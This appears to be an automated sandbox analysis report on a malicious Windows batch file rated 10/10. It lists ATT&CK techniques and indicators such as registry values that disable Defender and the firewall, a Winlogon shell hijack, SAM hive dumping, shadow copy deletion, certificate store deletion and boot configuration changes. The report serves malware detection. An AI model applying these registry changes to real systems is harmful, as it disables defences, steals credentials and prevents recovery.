16e2186ae502dd93fd1ac3cf7a2977b4bb0c4bb0ced88043e186ce7bd5d2c7fa

Analysis

max time kernel
147s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/05/2026, 19:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deepseek_batch_20260508_c8df07.bat
Size 67KB
Sample260516-yf3qsact9m
SHA256 16e2186ae502dd93fd1ac3cf7a2977b4bb0c4bb0ced88043e186ce7bd5d2c7fa
MD5 82bd1e48439ca38eb7d84ad68fb7f269
SHA1 9f08ea818c695ecac879b36fe2287dc683583412
SHA512 6aeac47024f7cf82a4866eff2eb7e3b33cbc504b0755af216ed6dbac0432c01c79ef666f49b421bce862adb362ad7c165f65e9fa8f3224e302bdf890dc8af622
SSDEEP 1536:hPC44Y/cROgDKg7eC9iPQuU5ibNKhnJAw4hOKu/eeZ3hXCKkrlZD:hq44Y/cROgDK8H9iPQuU5ibNKhnJAw4l
TLSH
T14B63A6223B144E7EC481C110E8EBD567F7A5A14B1082BFD2B6D0B288E56770D8B7ADDD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery evasion execution exploit impact persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\corrupted.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\System32\\corrupted.exe"	reg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Modifies firewall policy service 3 TTPs 10 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging\LogFileSize = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging\LogFilePath	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe

Windows security bypass 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\AntiVirusOverride = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\FirewallOverride = "1"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 35 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3828	bcdedit.exe
3096	bcdedit.exe
4408	bcdedit.exe
4924	bcdedit.exe
4756	bcdedit.exe
1080	bcdedit.exe
776	bcdedit.exe
1260	bcdedit.exe
2480	bcdedit.exe
1940	bcdedit.exe
2000	bcdedit.exe
1936	bcdedit.exe
2824	bcdedit.exe
3672	bcdedit.exe
4336	bcdedit.exe
2512	bcdedit.exe
4872	bcdedit.exe
2652	bcdedit.exe
1816	bcdedit.exe
720	bcdedit.exe
4948	bcdedit.exe
2428	bcdedit.exe
4312	bcdedit.exe
3844	bcdedit.exe
1236	bcdedit.exe
932	bcdedit.exe
4388	bcdedit.exe
2896	bcdedit.exe
4472	bcdedit.exe
1368	bcdedit.exe
3816	bcdedit.exe
600	bcdedit.exe
2756	bcdedit.exe
3860	bcdedit.exe
4760	bcdedit.exe

OS Credential Dumping: Security Account Manager 1 TTPs 2 IoCs

Malicious Registry Hive Dumping.

credential_access

Security Account Manager

T1003.002

pid	Process
116	reg.exe
4984	reg.exe

Boot or Logon Autostart Execution: Port Monitors 1 TTPs 13 IoCs

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

persistence

Port Monitors

T1547.010

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Appmon	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Standard TCP/IP Port\Ports	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\USB Monitor	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port\Adapters\WSPrint\OfflinePorts	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port\Adapters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port\Ports	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Appmon\Ports	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Local Port	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Microsoft Shared Fax Monitor	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Standard TCP/IP Port	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port\Adapters\IPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port\Adapters\WSPrint	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 41 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1856	powershell.exe
3024	powershell.exe
3404	powershell.exe
2200	powershell.exe
4784	powershell.exe
4952	powershell.exe
3728	powershell.exe
2288	powershell.exe
3876	powershell.exe
1016	powershell.exe
388	powershell.exe
2628	powershell.exe
1828	powershell.exe
4228	powershell.exe
1784	powershell.exe
4188	powershell.exe
1320	powershell.exe
5012	powershell.exe
1828	powershell.exe
3156	powershell.exe
2820	powershell.exe
1468	powershell.exe
4936	powershell.exe
1464	powershell.exe
4128	powershell.exe
2732	powershell.exe
2120	powershell.exe
4316	powershell.exe
2104	powershell.exe
2872	powershell.exe
212	powershell.exe
3964	powershell.exe
3944	powershell.exe
3784	powershell.exe
4712	powershell.exe
2804	powershell.exe
4444	powershell.exe
1816	powershell.exe
1272	powershell.exe
1028	powershell.exe
4668	powershell.exe

Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Drops file in Drivers directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\http.sys	powershell.exe
File opened for modification	C:\Windows\System32\drivers\dxgkrnl.sys	powershell.exe
File opened for modification	C:\Windows\System32\drivers\dxgmms2.sys	powershell.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cmd.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe\Debugger = "C:\\Windows\\System32\\systray.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe\Debugger = "C:\\Windows\\System32\\systray.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe\Debugger = "C:\\Windows\\System32\\corrupted.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe

Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
4088	net.exe
4692	net1.exe

Manipulates Digital Signatures 1 TTPs 17 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot\Certificates\11194FAB14616ED8259FB94DCD17CE99DAB04CDD	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\Certificates	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot\Certificates	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\CRLs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\CTLs	reg.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4060	netsh.exe
1468	netsh.exe
2136	netsh.exe
5020	netsh.exe

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
3548	takeown.exe
2028	icacls.exe
2776	icacls.exe
4532	takeown.exe
4044	takeown.exe
932	icacls.exe
4748	icacls.exe
2804	takeown.exe
4764	icacls.exe
2824	takeown.exe
3404	takeown.exe
1040	icacls.exe
4868	takeown.exe
1324	takeown.exe
1816	icacls.exe
3292	icacls.exe
4412	icacls.exe
4316	takeown.exe
4748	takeown.exe
4300	icacls.exe
2024	icacls.exe
4076	icacls.exe
2988	takeown.exe
5112	icacls.exe
4816	takeown.exe
4592	takeown.exe
2084	icacls.exe
3408	icacls.exe
1068	icacls.exe
1560	icacls.exe
3132	takeown.exe
1060	takeown.exe
4428	icacls.exe
1068	icacls.exe
3000	icacls.exe
2652	icacls.exe
4208	takeown.exe
1904	takeown.exe
1916	takeown.exe
3656	takeown.exe
1176	icacls.exe
452	takeown.exe
2236	icacls.exe
2864	icacls.exe
3744	icacls.exe
1432	icacls.exe
3896	takeown.exe
1180	takeown.exe
3484	takeown.exe
1532	takeown.exe
4624	takeown.exe
1848	takeown.exe
2316	icacls.exe
1028	takeown.exe
1260	takeown.exe
4628	icacls.exe
4780	takeown.exe
3312	takeown.exe
2440	icacls.exe
3700	icacls.exe
884	icacls.exe
4328	takeown.exe
4868	icacls.exe
3480	icacls.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3076	attrib.exe

Boot or Logon Autostart Execution: Print Processors 1 TTPs 2 IoCs

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.

persistence

Print Processors

T1547.012

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\winprint	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors	reg.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Impair Defenses: Safe Mode Boot 1 TTPs 6 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ProfSvc	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SerCx2.sys	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UserManager	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\CBDHSvc	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iai2c.sys	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Power	reg.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
932	icacls.exe
1468	icacls.exe
4608	takeown.exe
3128	takeown.exe
4816	takeown.exe
1772	icacls.exe
4316	takeown.exe
2776	icacls.exe
2340	icacls.exe
4764	takeown.exe
3888	icacls.exe
4356	icacls.exe
2988	takeown.exe
1324	takeown.exe
3132	takeown.exe
4216	takeown.exe
3896	takeown.exe
4736	takeown.exe
3744	icacls.exe
1040	takeown.exe
1928	takeown.exe
3000	icacls.exe
1432	icacls.exe
3408	icacls.exe
2852	icacls.exe
1068	icacls.exe
1532	takeown.exe
2844	icacls.exe
4780	takeown.exe
2084	icacls.exe
2804	takeown.exe
3212	takeown.exe
4592	takeown.exe
4044	takeown.exe
1768	icacls.exe
4320	takeown.exe
4592	takeown.exe
3484	takeown.exe
2440	icacls.exe
2968	takeown.exe
3312	takeown.exe
2864	icacls.exe
1780	icacls.exe
2952	takeown.exe
1232	takeown.exe
1560	icacls.exe
1180	takeown.exe
4228	takeown.exe
3700	icacls.exe
1200	takeown.exe
4624	takeown.exe
1916	takeown.exe
2652	takeown.exe
4428	icacls.exe
1816	icacls.exe
4748	takeown.exe
452	takeown.exe
4964	icacls.exe
1324	takeown.exe
4208	takeown.exe
3404	takeown.exe
4532	takeown.exe
884	icacls.exe
4628	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	powershell.exe
File opened (read-only)	\??\L:	powershell.exe
File opened (read-only)	\??\O:	powershell.exe
File opened (read-only)	\??\R:	powershell.exe
File opened (read-only)	\??\T:	powershell.exe
File opened (read-only)	\??\U:	powershell.exe
File opened (read-only)	\??\Z:	bcdedit.exe
File opened (read-only)	\??\G:	powershell.exe
File opened (read-only)	\??\I:	powershell.exe
File opened (read-only)	\??\J:	powershell.exe
File opened (read-only)	\??\X:	powershell.exe
File opened (read-only)	\??\B:	powershell.exe
File opened (read-only)	\??\M:	powershell.exe
File opened (read-only)	\??\Q:	powershell.exe
File opened (read-only)	\??\W:	powershell.exe
File opened (read-only)	\??\D:	powershell.exe
File opened (read-only)	\??\K:	powershell.exe
File opened (read-only)	\??\N:	powershell.exe
File opened (read-only)	\??\P:	powershell.exe
File opened (read-only)	\??\S:	powershell.exe
File opened (read-only)	\??\V:	powershell.exe
File opened (read-only)	\??\Y:	powershell.exe
File opened (read-only)	\??\Z:	powershell.exe
File opened (read-only)	\??\A:	powershell.exe
File opened (read-only)	\??\E:	powershell.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Power Settings 1 TTPs 26 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4156	powercfg.exe
3648	powercfg.exe
2808	powercfg.exe
812	powercfg.exe
4968	powercfg.exe
1688	powercfg.exe
5012	powercfg.exe
2412	powercfg.exe
716	powercfg.exe
956	powercfg.exe
4120	powercfg.exe
1280	powercfg.exe
2504	powercfg.exe
1468	powercfg.exe
3888	powercfg.exe
2748	powercfg.exe
3348	powercfg.exe
3644	powercfg.exe
3596	powercfg.exe
2024	powercfg.exe
5100	powercfg.exe
4404	powercfg.exe
4908	powercfg.exe
4732	powercfg.exe
3416	powercfg.exe
948	powercfg.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING3.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\OBJECTS.DATA	svchost.exe
File opened for modification	C:\Windows\System32\d3d11.dll	powershell.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\CPU~1.INF\amdppm.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\kdnic.inf_amd64_6649425cdcae9b5f\kdnic.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\mssmbios.inf_amd64_9fc7fe03de136fc1\mssmbios.sys	cmd.exe
File opened for modification	C:\Windows\System32\spool\drivers\color\wscRGB.cdmp	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\msmouse.inf_amd64_1793a485b491b199\mouclass.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\WDMAUD~1.INF\drmk.sys	cmd.exe
File opened for modification	C:\Windows\System32\kernel32.dll	powershell.exe
File opened for modification	C:\Windows\System32\winload.efi	powershell.exe
File opened for modification	C:\Windows\System32\RuntimeBroker.exe	powershell.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\INPUT~1.INF\hidparse.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\npsvctrig.inf_amd64_b98e9a5325075265\npsvctrig.sys	cmd.exe
File opened for modification	C:\Windows\System32\config\SECURITY	powershell.exe
File opened for modification	C:\Windows\System32\httpapi.dll	powershell.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\CDROM~1.INF\cdrom.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\umbus.inf_amd64_b78a9c5b6fd62c27\umbus.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\VHDMP~2.INF\vhdmp.sys	cmd.exe
File opened for modification	C:\Windows\System32\config\SOFTWARE	powershell.exe
File opened for modification	C:\Windows\System32\userinit.exe	powershell.exe
File opened for modification	C:\Windows\System32\spool\drivers\color\Photo.gmmp	cmd.exe
File opened for modification	C:\Windows\System32\dwmapi.dll	powershell.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\usbport.inf_amd64_254cd5ae09de6b08\usbd.sys	cmd.exe
File opened for modification	C:\Windows\System32\wpr.exe	powershell.exe
File opened for modification	C:\Windows\System32\winhttp.dll	powershell.exe
File opened for modification	C:\Windows\System32\dcomp.dll	powershell.exe
File opened for modification	C:\Windows\System32\winresume.exe	powershell.exe
File opened for modification	C:\Windows\System32\spool\drivers\color\RSWOP.icm	cmd.exe
File opened for modification	C:\Windows\system32\wbem\repository\INDEX.BTR	svchost.exe
File opened for modification	C:\Windows\System32\dwm.exe	powershell.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\HDAUDI~1.INF\HdAudio.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\netrtl64.inf_amd64_8e9c2368fe308df2\Rtnic64.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\WDMAUD~1.INF\portcls.sys	cmd.exe
File opened for modification	C:\Windows\System32\ntdll.dll	powershell.exe
File opened for modification	C:\Windows\System32\spool\drivers\color\D65.camp	cmd.exe
File opened for modification	C:\Windows\System32\spool\drivers\color\MediaSim.gmmp	cmd.exe
File opened for modification	C:\Windows\System32\spool\drivers\color\Proofing.gmmp	cmd.exe
File opened for modification	C:\Windows\system32\wbem\repository	svchost.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\msmouse.inf_amd64_1793a485b491b199\mouhid.sys	cmd.exe
File opened for modification	C:\Windows\System32\dwmcore.dll	powershell.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\SENSOR~1.INF\SensorsAlsDriver.dll	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\WVID~1.INF\Vid.sys	cmd.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING1.MAP	svchost.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\keyboard.inf_amd64_5938c699b80ebb8f\i8042prt.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\MSHDC~1.INF\storahci.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\MONITO~1.INF\monitor.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\swenum.inf_amd64_16a14542b63c02af\swenum.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\usbport.inf_amd64_254cd5ae09de6b08\usbhub.sys	cmd.exe
File opened for modification	C:\Windows\System32\hal.dll	powershell.exe
File opened for modification	C:\Windows\System32\config\SAM	powershell.exe
File opened for modification	C:\Windows\System32\winload.exe	powershell.exe
File opened for modification	C:\Windows\System32\winresume.efi	powershell.exe
File opened for modification	C:\Windows\System32\spool\drivers\color\Graphics.gmmp	cmd.exe
File opened for modification	C:\Windows\system32\wbem\repository\WRITABLE.TST	svchost.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\BASICD~1.INF\BasicDisplay.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\compositebus.inf_amd64_7500cffa210c6946\CompositeBus.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\HDAUDB~1.INF\hdaudbus.sys	cmd.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\SENSOR~1.INF\acpials.sys	cmd.exe
File opened for modification	C:\Windows\System32\ntoskrnl.exe	powershell.exe
File opened for modification	C:\Windows\System32\LogonUI.exe	powershell.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\INPUT~1.INF\hidclass.sys	cmd.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SystemCertificates	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	svchost.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357	svchost.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SystemCertificates\My\AppContainerUserCertRead	svchost.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft	svchost.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SystemCertificates\My	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft\CryptnetUrlCache	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357	svchost.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 10 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2396	powershell.exe
1028	powershell.exe
4668	powershell.exe
1684	powershell.exe
1272	powershell.exe
2880	powershell.exe
2360	powershell.exe
4336	powershell.exe
3524	powershell.exe
1940	powershell.exe

Launches sc.exe 64 IoCs

